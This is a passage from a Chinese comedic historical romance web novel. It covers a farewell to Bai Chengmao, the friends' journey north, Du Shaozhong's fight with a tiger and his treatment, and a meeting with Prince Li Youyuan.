就算你不与我在一起,我也盼你能觅得良缘,起码护你一世安稳。如今他又被夺了官职爵位,失了权柄那些个昔日的政敌怕是日夜兼程地赶来,欲将他除之后快,我不放心你。” 听到这儿,程六水“扑哧”一声笑了,她踮起脚尖轻轻拍了拍白承茂的肩道,“我知道你是个好人,一心为我着想,可就算他尚是皇城司使的时候,想杀他的人我也遇着不少。若是做事,前怕狼后怕虎,那便什么都不要做了,他不是 那随意可欺负的人,我也不是。 承茂,你承袭了祖辈的爵位本该春风得意,可如今一见,却并非如此。我想,你或许在现在的位置上瞻前顾后步步为营,生怕走错一步便使偌大的侯府毁于一旦,这才阴霾缠身。” “六水,你知道我为何明知你无意于我,我却一再执着吗?”白承茂目光灼灼地看向程六水道。 “为何?难不成因为我是是个倾国倾城迷惑众生的绝世美人儿?~”程六水摇了摇头调侃道。 “哈哈哈,你确实是美人儿,还是个大美人儿,但最关键的是,你从来都是明白我的,这小侯爷我当得一日都不开心,我一不开心,我就想你,想你在那下雨天非得带我走独木桥,结果我们俩摔在溪涧里人仰马翻,想你初学药理,明明是医我风寒,却给医得流了半天鼻血。”白承茂嘴角沁着笑道。 “你就是这么想我的?想我天天欺负你啊?”程六水也被逗笑了,这一笑两人仿佛都回到了过去。 “我想你能一直一直欺负我,欺负到我胡子都白了,你给我的花白胡子辫辫子。”白承茂满怀深情地再次看向程六水,他把他的真心干干净净地呈给了她,即使她应是不想要的。 “你刚才说得对,我们是从小的交情,我是明白你的,你幼时体弱却总是喜欢看师兄们舞刀弄枪的,后来身子好了便成日同师兄们练武,伯远侯府开国大将的子子孙孙怎会心甘情愿在那波诡云谲的争斗中耗尽自己的一生呢?”程六水并未接过他的话茬,给不了的东西,那便连碰都不要碰,还不如说些她知道的。 白承茂闻此言,如同雷劈般呆在原地久久不言,直到不远处野鸭子的几声“嘎嘎嘎”,他才幽幽醒转道,“我能如何?白家也只有我们两兄妹,妹妹为了侯府嫁给卫侯,我又岂能独善其身?” “你在怕什么?你自幼习武熟读兵法,难道就是为了精于算计深陷党争吗?好男儿志在四方,理应报效国家血战沙场,这句话是你十二岁便说过的,如今竟然都忘了吗?你劝我莫要同张清寒在一起,你怕我过得不好你怕我所托非人,你劝自己在朝堂中攀附权臣事事小心,你怕毁了侯府门楣你怕负了祖宗心血。 可你无论劝我还是劝你自己,怕这儿还是怕那儿,你怎么不怕负了你自己一辈子?若是为了这些怕,连自己都做不得,那你我这一生又有何意义?“程六水字字锥心,眼角悄然流下一滴泪,她在哭白承茂,亦在哭自己,她更在哭这世间那些困在原地不得动弹,困着困着便耽误了一生的人。 第98章 晴空万里,尘土飞扬,百十来个人浩浩荡荡地横穿整个江陵城,头也不回地骑着高头大马疾驰离去,惊起了一众街里街坊驻足观望。 “这什么情况?早上来晚上走,合着就吃了顿饭啊?”乔四方啃着前几日做的干粮大饼,有一口没一口的咬着。 “还真是怪了,我还以为这白小侯爷得在这儿多待些时日,缠着六水去京城呢。”马陶陶皱着眉撇着嘴,摸着下巴一副高深莫测的模样。 “六水?哎六水呢?”赵玉雨闻此言,这才顾得上左右张望,却没哪也没见着。 “六水不会跟着白承茂走了吧?!”杜少仲大叫一声,狠狠拍了下脑袋,吓得急忙就往酒楼跑啊。 一看酒楼空无一人,连那张东家都不知所踪了,给众人吓得开始四处找人,不是翻酒缸就是看灶台,酒楼翻了个底朝天也不见人啊。 城门楼子旁,跑了几十丈却终是放心不下,折返而归的白承茂道,“六水,你好好保重自己,要是这铁面煞星对你不好,我伯远侯府的大门随时为你而开。” “你还是管管自己的事吧,北境风霜苦寒,你先管好你营帐的大门吧。”张清寒鼻子不是鼻子,脸不是脸道。 “好,那我没事就去侯府串门。”程六水却在一旁笑盈盈道,与那儿时伙伴两相对视,俱笑了出来。 “不用串门,我把主屋留出来给你,你什么时候想来住都成。”那白承茂一听笑得又找不到北了,身边侍卫一听就要传令给京里侯府了。 “六水!”张清寒这下子可真是急了,极白的面庞都急红了,叫嚷着不公。 “哎呀逗你的,怎么这就着急了,你不会成天洗澡都用醋桶吧?”程六水故作惊讶道,还不忘伸出个小舌头对着张清寒一顿“略略略”,白承茂上战场死不死不知道,张清寒是先要被六水气死了。 “你你你。”张清寒说了半天,啥也没说出来,都快成结巴了。 白承茂此时坐于马背上,逗得“扑哧”一笑,“张清寒你啊也算是栽了,行了,山高路远来日再见。” 说罢,他便再次掉头飞奔而去,等着他的是跟着他出生入死的兄弟,是保家卫国的边疆沙场。 程六水目送着这群人变成一个个极小的黑点,再到连黑点都瞧不见了,才收回目光一侧首便见撅着嘴,都能挂水壶的张清寒。 “好啦好啦,不生气了,我哪也不去,就去你的主屋好不好?也不知道京城的张府有没有主屋啊?那主屋里也不知道有没有我的位置?”程六水蹦蹦跳跳地在张清寒面前说道,小脸红扑扑地凑近看着张清寒。 “都是你的位置,你想做什么都成。”张清寒本来怒得惊涛骇浪,谁曾想对着这张小脸不消几瞬,便眨眼间偃旗息鼓,莫说是生气了,连为何生气都忘了。 “这么乖啊?你不会是骗我的吧?我可听过一句话,这生得越好看的男人,嘴里越会骗人。我家清寒生得清风霁月,连那天上的人都比不过,不会说的都是唬我的吧?”程六水嫣红嘴唇张张合合,这话啊就给张清寒弄得又羞又急,急得干嘎巴嘴也解释不明白。 “……我没有,我句句属实,要是有一句是假的,我便天打雷劈……”话还没说完,就被程六水软绵绵的小手捂住了,她语笑晏晏,眼波流转间三分嗔怪七分笑意道, “别别别,我可舍不得你,你就算是唬我,我也觉着你哪哪都好,莫说是那白承茂了,就是十个皇帝来我都不换呢。”程六水离着张清寒极近,那温声细语如缕缕入骨的痒意钻进了他的耳中心中,弄得张清寒这一颗心上上下下,都不知如何是好了。 “你就知道哄我。”张清寒憋了半天,脸都红透了,才开口道。 “我就你这么一个郎君,不哄你我哄谁啊?”程六水这才放过张清寒,恋恋不舍地将小手从他耳朵根那儿移走。 她竟不知,这张清寒外在性子硬得很,可他这耳朵根软得要命,来回揉搓跟个面团似的,手感极好。 “哎呀妈呀,你俩怎么在这儿呢?”远处忽然传来熟悉的声音,那杜少仲找人找得都跑岔气了,一手捂着腰一手招着手,声嘶力竭道。 “我们来送别白小侯爷啊,大家这是怎么了?”程六水遥遥一望,酒楼其余三人个个都东跑西颠地赶来,乍一看以为酒楼出了什么大事呢。 “我们怕你俩偷摸背着我们,跟着白侯爷回京了。”赵玉雨气喘吁吁地靠在程六水身上道。 “承茂不回京啊。”程六水眨巴着无辜的大眼睛道。 “不回京?那去哪?”乔四方一边搀扶着马陶陶,一边问道。 “他去你哥哥那儿从军。”张清寒言简意赅概括道。 “啥?他不是在京中混的风生水起吗?从军作甚?”马陶陶二丈和尚摸不着头脑道。 张清寒默默将目光移到了程六水身上,这下子所有人都看向六水了,那眼神从疑惑不解渐渐变得十分诡异。 “你们这么看着我做什么?我身上有东西吗?”程六水骤然觉着周遭冷飕飕的,不对大大的不对。 “六水,你是不是忽悠他了?给他忽悠去北境守边?”马陶陶愣是没忍住,开口说出了大家的心声。 “青天大老爷啊,我怎么会忽悠人呢?是 他自愿去的,他一直都想从军的!“程六水那是比窦娥还冤啊,瘪着一张嘴就嚎叫了起来。 “不过他侯爵之身去军中效力,怎么着也是参将前锋吧?”杜少仲思索半晌道。 “是,他已密信回京,待到他快马入京领诏,便可启程去漠北了。”张清寒说道。 “陛下,就这么放他走了?他不是参与了那啥吗?”乔四方眼观六路耳听八方,见周围没什么人,才小声蛐蛐道。 “他只是依附于洪林党,此时洪林党未行谋逆之事,白承茂急流勇退远离朝堂,陛下没有理由不答应。”张清寒轻声道。 “做臣子的,忠君爱国做好自己的分内事便可,这些个争斗着实没什么意思。”杜少仲点了点头道。 “可我怎么记着,杜尚书也与洪林党来往密切呢?”马陶陶皱着眉,想了半天才想起来。 “那都是去岁的事了,如今我父亲是告假在家,看着他们闹了。”杜少仲乐呵呵道,显然他过年回去一趟没白回去,竟能说得动杜尚书,如今这位尚书大人成了个滑不溜手的朝堂老泥鳅。 “好了,既然白承茂也走了,那我们也收拾收拾吧。”张清寒望着远处夕阳西落,忽觉阵阵暖意,爱人挚友皆在与身侧,一同启程去寻他的另一位挚友,还有他未来的岳父岳母,何其庆幸。 “耶!明日我们就出发京城!”众人兴高采烈地朝着酒楼走去,路过集市姑娘们看看这个看看那个,几个男人在她们身后拎着大包小裹的,只能默默相视一笑。 翌日,公鸡打了三声鸣,天边才蒙蒙亮,乔四方早已套好了马车,前后再三匹马围着,干粮肉干一应俱全都带全了。 他身边的张清寒仔细检查着行囊包裹,毛毛也送到了方知府府上,这方知府不知张清寒被撤职的缘由,拉着张清寒好一阵地安慰,还拍着胸脯保证,他在,酒楼和毛毛就在,定照顾得明明白白的。张清寒竟不禁有些许动容,这世道落井下石容易得很,可患难与共的情义确实难得。 张清寒检查了好几遍,抬头再一瞧,怎么马车旁还是只有乔四方,他俩大眼瞪小眼了半天,一炷香都过去了,愣是一个人没出来。 “歘歘歘!”程六水是在一声巨响中醒来的,给她震得耳膜都蹦跶了好几下,她睁了个眼缝,啥人也没看见,就看见房里都没太阳,没太阳起什么床?谁家好人摸黑爬起来打工啊? 她一个翻身,耳边又是“歘歘歘”三声,给她吓得浑身一激灵,咋的摔炮没摔明白全炸了?这么一想,她才勉强睁开眼睛,下意识就从枕头底下掏出一本程门炸药秘籍往怀里一揣要跑路。 结果一下子没站稳,差点栽倒在地上,幸亏有只大手一扶,给她带进了一个温暖宽厚的怀抱中。 “谁啊?”程六水迷蒙着眼睛道,定睛一瞧居然是张清寒,一下子又要蹦了出来,“大胆狂徒,男女授受不亲!” 张清寒这哪里能撒手,一边抽动着眼皮,一边给六水按住了,小声在她耳边道,“昨日是你亲的我。” 程六水这回脑子是终于回来了,睁大了眼睛看着张清寒,又看了看靠在乔四方身旁困得直打哈欠的马陶陶,还有虽然提溜着杜少仲,但自己也迷迷糊糊的赵玉雨。 “对对对,我们今日要干什么来着?”程六水甩了甩脑子,她昨夜好似一直翻来覆去地没睡着,好像是因着什么事兴奋的,什么事啊比她小学春游还兴奋? 第99章 她再一看张清寒手里的铜锣,很好很好,不是摔炮摔得到处都是就行。 于是这三个迷迷糊糊的姑娘在马车上昏昏欲睡,杜少仲在一旁骑着马倒是清醒了不少,而张清寒与乔四方一人开路一人殿后,一行人关上了酒楼大门,出了江陵一路北上了。 正值深春初夏,处处皆是繁花盛开绿意盎然,微风轻拂甚是惬意,与其说是赶路莫不如说是郊游,如今朝廷政治清明,地方官大多也都是干实事的,这官道修得着实不错,偶有坑坑洼洼竟也得了趣。 这几人连着走了几日,白日赶路夜里在附近城池休憩,再尝尝各处美食特色,当真是不亦乐乎得很。 可惜,出门在外总是天有不测风云,再周全的计划也是要被打破的,这不不知怎的天公甚是不作美,一行人赶路的第十日,原本好好的艳阳高照忽而便乌云密布雷鸣大作,劈了啪啦的雨点子不要命地砸了下来。 “走,看看有没有山洞之类能避雨的地方。”张清寒瞧着形势不对,大声喝道。 他们这几日脚程算快的,越过这山林子便是河东了,却不想碰上这么场大雨,他们若是在官道上,快马加鞭在天黑前赶到河东也无不可,可惜在这山林子里,确实不能再赶路了,万一雨水冲刷了松散的土块,一不小心砸着他们,可就是药石无医了。 “好!”乔四方和杜少仲穿着斗笠,冒雨分开去寻那山洞,张清寒则守在马车旁。 “清寒,要不你进来避避雨吧,外面这雨下得确实是大。”程六水掀开车帘就见张清寒那张极白的脸早已被雨水打湿,缕缕发丝散落在肩头,颇有些心疼道。 “无妨,这林子大,我怕有野兽或是贼人出没,我守着你们,你们安心即可。”张清寒不禁一笑,心上人关切自己哪能不开怀不暖心。 “野兽?贼人?那少仲和四方不会有什么事吧?”赵玉雨听了这话,忽而开口道。 “四方武功高强应是没事的,可少仲就不知了,玉雨你这是担心了?”马陶陶偷笑道,一个劲儿地调侃着。 “自是担心的,少仲那人做事没头没脑颇有些不着调,这荒郊野岭的可莫要出什么事啊。”赵玉雨倒是大大方方道,半点女儿家的娇羞都不见,想是压根就没听懂马陶陶的调笑。 “没事,少仲那匹马是江陵城里难得一见的好马,莫说是在这山林子里,就算是战场上也不遑多让,他虽不会武功,却可以逃得飞快。”张清寒开口道,这下子马车里的姑娘们才放心下来。 然而,张清寒所说只是那杜少仲坐于马上之策,但若是他下了马,那就谁也说不好了。 杜少仲是个文人,而且是个手无缚鸡之力的文人,拳脚骑射也就是骑术上略通一二,他骑着他那匹小马驹颠颠地在山林子里跑着越跑越远,山洞是没寻着,却寻到了处极为难得水泡子,这水泡子奇就奇在咕嘟嘟地冒泡,还发着热气。 斗笠外是磅礴大雨,斗笠内一文雅君子居于马上,青竹围绕泉眼迸发,好一处风雅至极之地,这杜少仲顿时间诗性大发画兴大发。 昔日不少文豪大家,便是在外游历写下了传世诗篇,画下了惊世之作,如今他亦有如此机缘怎能负了上天的美意。 杜少仲身边没有笔墨纸砚,却有那藏于袖间的炭笔粗纸,他坐于马上难以施展,纵身一跃下马凑近了那溪水泉眼竹林深处,大笔哗哗而起誓要将这山间美景尽收纸上,待到了京中他再誊于宣纸之上,真是妙极。 那飞舞地笔尖,极为诗意地画就,早已令杜少仲忘乎所以无法自拔,一瞬间山中数百年不过眼中云烟。 淅淅沥沥的雨声唤不醒沉浸其中的杜少仲,他自然也没有发觉,这泡子颇大的温泉泉眼处有几双黑黝黝的豆 眼正在不知所措地盯着他。 软乎乎毛茸茸的长耳朵如今被雨水打湿了,不自觉地垂在泉水里,这几只野兔遇着这大雨倒是不打紧,可它们还遇着了些旁的东西,令它们吓破了胆,只能隐匿于水中生怕露了踪迹。 而杜少仲终于画了大半竹林泉水图,他这才撤出了半分心神来,似是想起了什么,对了他是来这儿找山洞的,但他是不是找错方向了,这哪有山洞啊? 正在他左顾右盼之际,忽而仿佛扫过了什么东西,他本能地汗毛战栗双腿发抖,嘚嘚瑟瑟地小心翼翼地将炭笔粗纸收了起来,刚刚他看见了一双眼睛,或者更为确切地说,是一双金黄的竖瞳。 “嗷!”一声巨大的吼叫,整座山林为之震颤,那几只豆眼长耳野兔吓得直接在泉眼处装死了,而杜少仲就这千钧一发之际才终于看清了那吼叫的主人,一只黄黑相间体型健硕头顶“王”字的大老虎。 “救命啊!”杜少仲这下才想起那江陵名驹,这小马驹被拴在不远处的竹子处,四个蹄子不住地蹬地,早就想跑了。 他赶紧撒丫子就往小马驹那儿跑,可老虎怎会放过这么个好猎物,没几下就咬着了杜少仲的衣摆。 而杜少仲拽着小马驹的缰绳死命不撒手,本能地驱使下,使着从未有过的大力翻身上马,于是一场丛林里难分胜负的决斗开始了。 只不过这只老虎是只顶顶贪心的虎,它不仅想要吃掉画兴大发的杜少仲,也不愿意放过那几只同它玩捉迷藏的豆眼兔,只见它回头一个猛子扎了下去,三四只豆眼兔个个就没了气息被它甩上了岸。 这时的杜少仲夹紧马腹,嗷嗷就是往前冲啊,边冲边嚎着,“谁来救救我啊,这有老虎!” 偏生他喊完了也不消停,非要回头看,就看那老虎满嘴是血,张着血盆大口地死死追着自己。 杜少仲此时是六神无主,前方不见同伴,他早已在山林中迷失了方向,此时他眼中忽然迸发出了一股许久未曾出现的意气,他竟然扯开了自己斗笠,任凭狂风暴雨砸在脸上。 这斗笠是专门为遮雨特制,那长长的帘帽勾住了极为高耸的竹子,数只竹子本就在风雨中飘摇得厉害,遇上这做工极好的帘帽竟一时间几株竹子勾在一处不得动弹。 随着杜少仲大力地一拽,那竹子这才失了力气,凭着自身百折不挠的韧劲,发疯地在捶打着,正正好好打在了那追来的猛虎身上,打得那皮糙肉厚的猛虎浑身生疼,发了疯般嚎叫。 这时它的猎物,一个手无缚鸡之力的书生抽出了在靴子中藏着的匕首,这匕首是皇城司中数一数二的利器,见血封喉出鞘立断,断得便是那手边的青竹,极长的竹子硬生生成了被砍得劈了叉。 锋利至极的竹尖在杜少仲的奋力一击下,狠狠刺进了已然发疯乱了章法的猛虎身上,那猛虎腹部鲜血直流却仍有余力,纵身一跳竟一爪将杜少仲撕了下来,撕得他左肩鲜血淋漓。 可此时,杜少仲早已感受不到疼痛了,他拿着他最后的武器,那把见血封喉的匕首,在噼里啪啦的风雨下,准确无误地插进了老虎的咽喉。 这咽喉再也发不出咆哮,只能发出几声微弱的呼噜,随即便没了生气,而杜少仲的脸上溅满了虎血,差点迷住了他的眼睛,他一头栽在地上倒地不起。 而山林的另一边,一行人在乔四方找来的山洞里生起了火,湿了的衣服在一旁烤着。 “少仲怎么还没有回来?”张清寒皱眉道,这已是他发的第三发烟火。 “许是雨天难走吧,他要是绕到林子那头,过来得半个时辰呢。”乔四方吃着肉干道。 “我去寻他,别真出了什么事。”张清寒拿起斗笠,就要出山洞。 可刚一探头,就见不远处依稀有个模糊的人影,在雨中磕磕绊绊地走了过来,身后还牵着一匹马。 “嘿不用寻了,你看这不回来了吗?”乔四方笑道。 赵玉雨也站起身看去,愈看愈不对劲,“这马上是不是驮了个东西啊,瞅着还挺大个儿的。” “哎你别说,好像真是。”程六水闻此言,也跑来看,仔细一瞧又道,“这不仅马上驮了个东西,少仲手里是不是也拎了些东西啊。” 这几人在这山洞里七嘴八舌着,只听雨中人的声音终于传来了,“救命啊救命啊我要不行了,救命啊!” “怎么了!怎么了!”这下子,这几人才发觉出不对,一个接一个都冲了出去,率先一跃来到杜少仲身的张清寒,一下子就接住了摇摇欲坠的杜少仲,打眼就瞧见了他肩上被雨水泡得肿大的伤口,极为锋利地爪痕。 他再朝马上看去,与众人的视线落在了一处,所有人都不说话了。 大雨哗啦啦地下,六个人里一个晕了,五个傻了,这是什么玩意?少仲是打猎打回来一只老虎吗? 第100章 哦,不仅有老虎,这人磕磕绊绊不知走了多久才寻到了这儿,竟也没忘了那死于老虎血口的几只野兔。 一圈人七手八脚地将昏睡不醒的杜少仲抬到了山洞里,他浑身早已湿透了,那衣衫上的水拧都拧不干,噼里啪啦地流个不停,冰冷地贴在他身上。 可依旧挡不住杜少仲身上的滚烫,都快成碳炉了,只不过他还在一个劲在昏睡中发颤,显然是冷极了。 这一伙人手忙脚乱了半天,程六水抱了所有柴火过来,在杜少仲身边搭了好几个火堆,明晃晃地火焰勉强带来了些暖意。 “啊,你避着点人啊!”赵玉雨本来正在拿着湿手帕贴在杜少仲的头上降温,结果一往下瞅,天爷啊乔四方怎么开始扒少仲衣服了,不消半刻扒得就剩一里裤了,上半身赤裸裸地露在外面。 “这也没外人啊,哎呀自家兄弟没事的。”乔四方大大咧咧地说着,正要把那里裤也一起拽下来,这湿漉漉的衣服赶紧换了赶紧好,再用火这么一烤,才能暖和起来。 以前他在洪泽会和皇城司的时候,大家都是这么干的,他啊有经验的很。 赵玉雨眼见杜少仲差点连底裤都扒得不剩了,一下子就扔了手帕,捂住眼睛赶忙转过身去,连跑带颠地去寻正在生火的六水和陶陶去了。 到了火堆跟前,她才敢把手放下来,结果就看见这俩人正在那儿聚精会神地盯着瞧着望着。 “没看出来啊,少仲一个读书人,这肩膀手臂很是结实嘛。”程六水用柴火棍拄着下巴,苦苦思索片刻道。 “确实,你看他还没肚子,都是肌肉块,平日里他吃得可多了,他这肉都去哪了?”马陶陶狐疑半天,默默低头看了看自己的小肚子,只能悄摸摸叹气道。 “他是不是背着我们做什么力量训练了呀?这人真坏啊,总是背着我们偷偷进步。”程六水嘴不停手也不停,说话间又一柴火堆点了起来。 “……你们……”赵玉雨彻底语塞了,磕巴了半天也说不出话来,被她们这么一说,她那眼神也止不住地往杜少仲身上瞄,好像确实是挺结实的,而且白白净净的好看。 “玉雨,是手帕不凉了吗?我这儿还有。”马陶陶光顾着忧愁自己的小肚子了,从水盆里取出了一块新的湿手帕递给了赵玉雨。 结果叫了赵玉雨半天,都没给她叫过来,她那小脑袋紧紧盯着杜少仲的方向,话都听不见了。 “不用太担心,你看清寒把马车上的药取来了,用了便好了。”程六水接过手帕,走上前去放在了赵玉雨手中。 这下子赵玉雨才猛地清醒过来,刹那间脸红成一片,那气都喘不匀了,只得赶忙低下头来,不自然地眨巴着眼睛道,“啊是是是,我这就把药取来。” “???”程六水小小的脑袋大大的问号,“不用你去取,你看清寒不是拎着药箱回来了吗?”程六水安慰地握住赵玉雨的手,轻轻指给她瞧。 赵玉雨顿时更是羞恼得只想找个地缝钻进去,话都不说了,攥着个湿手帕朝着杜少仲那处跑去了,留马陶陶和程六水二人面面相觑。 所幸这回杜少仲换了身干净衣衫,只是上半身依旧裸着一半,那左肩上的伤口血淋淋得甚是吓人。 张清寒从药箱中取出了好几瓶药,一时间傻眼了,他记着他只放了一瓶金疮药啊,怎么现下多出了两三瓶,这都是什么药? 他微微抬起那迷惘的双眼,就见程六水在不远处呲个大牙傻乐,火光映得这笑容好 似个妖魔般无辜又邪魅。 “咳咳。”张清寒没忍住眼有所指地看向六水。 程六水宛如一个上课偷摸把老师的教案换成隔壁菜市场传单的小学生一样,眼神瞬间躲躲闪闪,走起路来蹑手蹑脚,抿着嘴走了好一会儿才到了老师面前。 “怎么了?”程六水只能摆出天真的笑容道,可惜这笑容里全是做贼心虚。 “这多出来的两瓶药是什么?”张清寒拎着三瓶药问道,他本来就是熟识药理的,要是寻常只需嗅上一嗅,便知哪瓶是金疮药了,可如今这三瓶气味色泽皆是十分相似,瞧了半天竟都是金疮药,但他哪来的那么多瓶金疮药。 “呃……是这样的,我不是之前做了几盒子药丸嘛,有一日夜里炉子里正炼着,我闲着也是闲着,就翻了翻药箱见了你这瓶金疮药,我这一闻一试才发现不得了啊,这药里龙骨樟脑麝香都是好东西,我一下子就来了兴致……”程六水讨好笑道。 “……然后呢?”张清寒觉着再问下去,他有可能会气死,但他控制不住这该死的嘴啊,六水到底做了啥啊? 所有人的目光齐齐聚在了程六水身上,一个个疑惑探究的眼神看去,给程六水看得只能乖乖接着说道,“然后我就倒了那么一点儿出来,一比一仿照做了一瓶,我约摸着疗效应是一样的。而另一瓶,我又额外加了点自己小小的理解,所以就成了三瓶了。” “什么小小的理解?”赵玉雨试探着问道。 “就是加了点血蝎子,我跟你们说,这血蝎子我可是从南越的商贩那儿买来的,货真价实得很。”程六水拍着胸脯打包票道,说罢又要细细说起这血蝎子的好处来。 可她还没开口,肩上就多了一只拍她的手,耳边响起咬牙切齿的声音,“那现在我们用哪一瓶呢?”张清寒想他应该是早晚要被六水气死。 “三瓶药效都很好的,如果你们要是信得过我,那就用我做的那两瓶……”程六水笑容满面地开始推销起来。 “不行!”结果余下四人异口同声说道,就连那躺着昏迷不醒的杜少仲都挣扎着动了两下眼皮反驳着。 “不行就不行嘛,真是的我做的药都很好的,不识货!”程六水窝窝囊囊又嘟嘟囔囔地指着左边那瓶道,“这瓶是原来的那瓶。” “好啦好啦,下回我用你做的这两瓶行了吧。”张清寒不禁笑道,一边取来左边那瓶金疮药,一边哄着程六水。 “呸呸呸,净说这种不吉利的话。”程六水赶紧道,更是令张清寒心里一暖。 但就算这人心里一暖,也阻止不了他手下的动作,那金疮药猛地倒在了杜少仲的伤口处,只见杜少仲的四肢开始止不住地颤抖痉挛,这是疼狠了,哪怕是昏迷着那嘴唇都被自己咬破了,流了血出来。 乔四方见状赶忙泰山压顶地给压住,这乔四方本就七尺八又生得精壮,这么一压差点给杜少仲压得只翻白眼。 待上好了药包扎好了,那杜少仲剩的半条命也快没了,奄奄一息地趴着,浑身依旧滚烫着。 “这伤势太重,热病来得又太猛,如今喝了我们带的伤寒药,也降不下来热度。”张清寒把脉把了半天,左手把完把右手,不停皱眉道。 “那咋整?要不我连夜扛着少仲去城里找郎中吧?我脚程很快的,我把他夹在身上,再披上斗篷,他肯定淋不着。”乔四方开口道,说罢竟真要去薅杜少仲。 “停停停,他是淋不着,可你听着夜里风声跟鬼哭狼嚎一样,不得给他吹得脑袋都要掉了?”马陶陶赶紧拉住乔四方道。 “是缺什么药吗?咱这儿本就带了不老少药材,要不我们去山里寻寻?比如,你看这虎骨虎胆虎血?”赵玉雨指着那马背上的老虎道。 “对啊,这虎骨祛风通络,虎胆治跌打损伤,虎血强身健体,皆是大补之物啊,不如用来给少仲吊着,吊到明日进城?”程六水这下子也急了,拿着刀就要去放血。 “等等莫急……”张清寒话没说完,就听地底传来了轰隆隆的声响,他顾不上阻止程六水,耳轻贴地面细细听着,这么个深山雨夜,怎会有十几人的马队,他心下瞬间生起了警惕。 普通良家早在城中宵禁,能出现在此地,不是山匪就是官府的人,这河东距离京中不远,现下京中形势不稳,难不成已然乱了起来? 张清寒想罢其中曲折,一抬眼他就不想说话了,谁能告诉他为何他的四个好友竟也头贴着地面,一个个趴得奇形怪状的,要么像个王八,要么像个癞**。 “你们在作何?”张清寒长叹一口气道。 “我们以为地底下有人参娃娃,正跟着你听呢。”马陶陶极小声道,生怕给人参娃娃惊跑了。 “老大,这人参娃娃怎么听起来像是马蹄子跑啊,不会是人参娃娃要跑吧?”乔四方慢慢爬到张清寒身边道。 “……就是马蹄子在跑,你们快给我从地上起来!”张清寒都被气懵了,他让别人起身,结果自己都忘了从地上起来了。 忽而山洞外传来了人声,不等洞内人反应,一伙人就径直走了进来,为首的那个彬彬有礼道,“各位侠士,雨夜难行不知可否同在山洞借宿一晚?” 话音刚落,为首之人便与趴在地上的张清寒看了个对眼,他顿时瞠目结舌道,“清清清清寒?你怎么在这儿?你在这儿练**功呢?”《 》 100-110 第101章 张清寒翻身一跃立起身子,定睛一看来人,他想到是山匪,想到是叛军,想到是官府中人,却愣是没想到来的竟是眼前这一位,文质彬彬温文尔雅的秉亲王李佑元。 这秉亲王早年也是跟随当今陛下的,身负从龙之功,性子又是顶顶直爽谦逊的,这些年来深受陛下信任,六部事务多有参详,甚至偶有代陛下行天子之礼的时候。 这样一位高权重的皇室亲王,为何会出现在雨夜山林子里,轻装简行身边的护卫也就十余人。 “草民见过殿下。”张清寒思量几瞬,便面不改色心不跳地将方才那尴尬的场面抛诸脑后,不卑不亢地行了一礼。 “草民?啊!原来清寒你小子和本王一样做冷板凳了?”秉亲王倒是自来熟得很,上来就扶直了张清寒的身子,勾肩搭背热络得很。 自然跟在张清寒身后行礼的诸人也站直了起来,一个个不敢窃窃私语,只能在那里搞什么眉目传情。 “殿下难不成也?”张清寒忽而笑了,方才的冷面冷情刹那间冲开,变得活人气十足。 “那可不,我那皇兄是再谨慎不过的人了,这不早早就把我打发来河东,说是我侍奉祖宗不敬,实则啊是让我替他看着这河东的五万大军,待他一声令下,我就得颠颠地去给他把军队送进京打仗。”秉亲王一副无奈的模样,满心满眼都是对爱折腾皇兄的不满。 “陛下心中早有打算便好,我接了旨意将我贬为庶人,又收了密信才知陛下的谋划,这不正巧我们酒楼诸人要北上途径京城,我心有不安还是要去探查的。”张清寒将来龙去脉一一道出。 “你看看你,心里想着闲云野鹤悠然南山,结果还是不放心故人不放心皇兄,你这样啊要是被我皇兄晓得了,他肯定一旨圣旨给你再调到他身边去,他走哪你就跟到哪。”秉亲王同圣上是一同长大的,自然知道圣上的心意,像清寒这么个重情重义才干出众,还文武双全的好臣子好兄弟,他那精明强干的皇兄才不会放过呢。 张清寒一听,赶紧摆手推拒,只能轻了轻嗓子开口再道,“殿下太看得起在下了,不过陛下让您守着河东,您何故大雨天守到这山林子里来了?” “你不知道,我来了这河东不足一月,就闹了虎患七八次,不是偷鸡就是摸狗,甚至伤了好几回人。那知府是个文官出身,手下的捕快哪里在山上办过差事,最后还是来军中求助, 我这闲着也是闲着,就接了这差事。“秉亲王笑呵呵道。 张清寒闻听此言,欲言又止片刻才道,“殿下真是英姿勃发英雄气概啊,可我怎么记着您好像没学过几年武功?” “是啊,最近刚学的,学得还不错呢。”秉亲王说着,竟要比划了起来,给酒楼诸人看得一愣一愣的。 程六水不禁神游,自从她穿越而来,见过了好几个权臣侯爷,她本以为他们不靠谱是个例,现在一见这秉亲王,在大乾的地位可说得上是一人之下万人之上了,怎么也是这般……跳脱?会不会这大乾的帝后也是一对喜剧人啊?才一脉相承,成一国风气啊。 “学得好学得妙学得呱呱叫。”张清寒无力地夸奖着,随后伸手一指道,“您也莫要再往山里跑了,老虎在那儿呢。” 秉亲王一听吓了一跳,举着火把慢慢靠近,这才看见那山洞的阴暗处躺着一只早已没了气息多时的成年猛虎,那黄黑花纹的光滑毛皮彰显着它生前伙食得有多好。 “清寒啊,你真是当世之勇士,救了这山附近好几处村子百姓的命啊,明日我就让知府给你封个打虎勇士!”秉亲王拉着张清寒的手死死不放,敬佩之情溢于言表,就差两眼冒星星了。 “等会殿下,等会!”张清寒是怎么也抽不开自己的手,只能大声接着道,“殿下,不是我打的虎,是他。” 秉亲王随着张清寒目光一瞧,紧赶慢赶地走上前去,绕过了五六七八个柴火堆,摇着杜少仲的手道,“壮士,原来是壮士,我定要让河东知府给壮士封成打虎勇士。” “殿下,打虎勇士受伤了,您再摇他就快没气了。”张清寒在其身后默默扶额道。 “哎呀那正好,我此行有位神医一同前来,正好可以给打虎勇士看看。”秉亲王一拍大腿道,随后又一阵小跑到了他的随从那儿了,将那位神医请了出来。 “我咋瞅这秉亲王有点不靠谱呢?”乔四方悄摸摸说道。 “我见过几次秉亲王,好像一直都这样,都不咋靠谱。”马陶陶小声补充道。 “那他带来的神医能靠谱吗?不会和六水一样,是个半吊子吧?”赵玉雨皱眉担心道。 “咳咳,说谁是半吊子呢?”程六水边说边恐吓着她的这帮缺德朋友。 这位神医见有了病患,快步走到杜少仲跟前,摘掉了自己的斗笠,细细探查着他的脉搏鼻息,看了他的伤口后,又贴近他的胸口听起了声响。 秉亲王默默退到其身后,看了半天皱着眉,慢慢挪到张清寒身旁道,“这位壮士生得真是结实,怪不得能打虎,可他这脸我怎么越瞅越眼熟呢?” “殿下是该眼熟,他就是杜尚书之子,曾官拜翰林大夫的杜少仲。”张清寒撇着嘴道。 “什么?!”秉亲王直接一个破音大叫,引得那神医回头一看,神医眼神颇为凌厉,秉亲王瞬间乖乖不说话了。 